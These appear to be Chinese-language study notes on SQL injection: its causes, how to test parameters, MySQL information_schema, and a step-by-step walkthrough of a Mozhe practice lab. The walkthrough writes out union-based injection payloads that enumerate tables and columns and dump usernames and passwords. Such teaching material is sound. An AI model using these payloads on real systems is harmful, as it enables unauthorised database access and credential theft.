WEB漏洞框架
SQL注入框架


1、SQL注入危害
(1)数据库安全
(2)网站权限
2、注入产生原理
(1)可控变量:$id
(2)带入数据库查询
(3)变量未存在过滤或者过滤不严谨
**mysqli_fetch_array()**:
函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有。该函数返回的字段名是区分大小写的。
eg:
都可能存在SQL注入
xxxxx/index.php?id=8
xxxxx/(index.php)?id=10 省略
xxxxx/?id=10&x=1 有两个变量,哪个可控注入哪个
xxxxx/index.php POST传参?
x有注入,哪个注入测试正确?第二个、第三个
注意注入哪个参数的问题,工具测试时也应该注意注入点
sqlmap:xxxxx/main.php?id=2*****&page=3
*****:代表注入参数 或交换参数位置
&:连接参数名 x为参数注入的话and应该写到x处
xxxxx/index.php?y=1 and 1=1&x=2 and写到y处,但y不会影响注入
xxxxx/index.php?y=1&x=2 and 1=1
xxxxx/index.php?y=1 and 1=1&x=2 and 1=1
xxxxx/index.php?xx=1 and 1=1&xxx=2 and 1=1 参数名不正确
3、信息收集
(1)操作系统版本:Linux、Windows的root的不同,大小写问题等
(2)数据库名
(3)数据库用户
(4)数据库版本
(5)其他(网页路径等):网站源码在计算机的存储地址
注:
1、高版本:
在mysql5.0版本以上,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下的表名或列名信息。
2、数据库中符号“**.**”,表示下一级,如xiao.user,user表示xiao数据库下的user表名。
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
information_schema.schematas:记录所有数据库信息的表
table_name:表名
column_name:列名
table_schema:数据库名
4、数据注入(同数据库)
常规查询
(1)低版本:暴力查询或结合读取查询
(2)高版本:information_schema有据查询
(3)MYSQL数据库
数据库A=网站A
表名->列名->数据
show databases:显示所有数据库(每个数据库可以对应一个网站)
use mysql:选择mysql数据库
show tables:显示mysql数据库的所有表
select * from server_cost:查看server_cost表里的所有内容,*:查询所有得到的表里有列名和数据
select password from fn_member:从这个表里查询password的值

5、墨者SQL注入靶机
(1)mysql数据库的手工注入
打开题目,点击它的文件,可以看到URL上存在?id=1,初步怀疑可以SQL注入

(2)如何判断注入点?
逻辑运算符:或(or,有真则真)、且(and,全真为真)、非(xor)
第一种:
and 1=1 页面正常
and 1=2 页面错误
第二种:
判断本质:对变量进行操作,SQL语句是否被执行,对网页是否有影响。
对这个列题的id值进行随机输入,发现页面返回空白,即存在SQL注入(改变变量会对网页造成影响)

?:一些网站在对变量修改后会直接404错误,跳转
对注入有检测,一般不存在注入漏洞
(3)联合注入:union(将多个查询语句一起返回)
- 猜解列名数量(字段数):
order by x:错误与正常的连接点
此题测试到order by 5时页面回显不正常,说明5为临界值
- 报错猜解准备:
order by先查询有几列数据,再union看几列数据可以显示出来,将能显示的替换替换成注入语句。
此题2,3可以显示出来,即可以进行替换注入。
219.153.49.228:47262/new_list.php?id=1 union select 1,2,3,4
219.153.49.228:47262/new_list.php?id=-1 union select 1,2,3,4
219.153.49.228:47262/new_list.php?id=1 and 1=2 union select 1,2,3,4
- 信息收集:
**数据库版本:version( )**:5.7.22-0ubuntu0.16.04.1
**数据库名字:database( )**:mozhe_Discuz_StormGroup
**数据库用户:user( )**:root@localhost
操作系统:@@version_compile_os:Linux
?id=-1 union select 1,database(),version(),4
?id=-1 union select 1,user(),@@version_compile_os,4
- 查询
因为数据库版本为 5.7.22-0ubuntu0.16.04.1(高版本)可用information_schema数据库查询
查询information_schema.tables数据库下的表名信息:得到的是一个数据库的名字
?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

2处是查询表名,3处未查询直接回显
从 information_schema.tables表中查询:数据库mozhe_Discuz_StormGroup中的表名信息
查询mozhe_Discuz_StormGroup数据库下的所有表名信息:
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
得到mozhe_Discuz_StormGroup数据库下有两个表名
查询指定表名StormGroup_member下的所有列名信息:
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查询指定列名下的所有数据:
id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
使用group_concat( )防止漏数据
- limit:猜解多个数据:
limit x,1变动猜解